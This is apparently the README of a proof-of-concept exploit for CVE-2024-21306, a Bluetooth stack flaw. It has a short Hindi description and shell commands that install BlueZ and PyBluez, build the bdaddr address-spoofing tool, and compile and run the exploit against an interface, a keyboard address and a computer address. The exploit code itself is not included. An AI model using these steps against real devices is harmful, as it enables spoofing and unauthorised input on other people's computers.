
CVE-2024-21306 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट जो ब्लूटूथ स्टैक को लक्षित करता है। BlueZ और PyBluez निर्भरताओं का उपयोग करके ब्लूटूथ इंटरफ़ेस हेरफेर के माध्यम से भेद्यता शोषण को प्रदर्शित करता है।
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev git gcc python3-pip python3-setuptools python3-pydbus
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/
gcc -o CVE-2024-21306 CVE-2024-21306.c -lbluetooth
./CVE-2024-21306 interface keyboard_address computer_address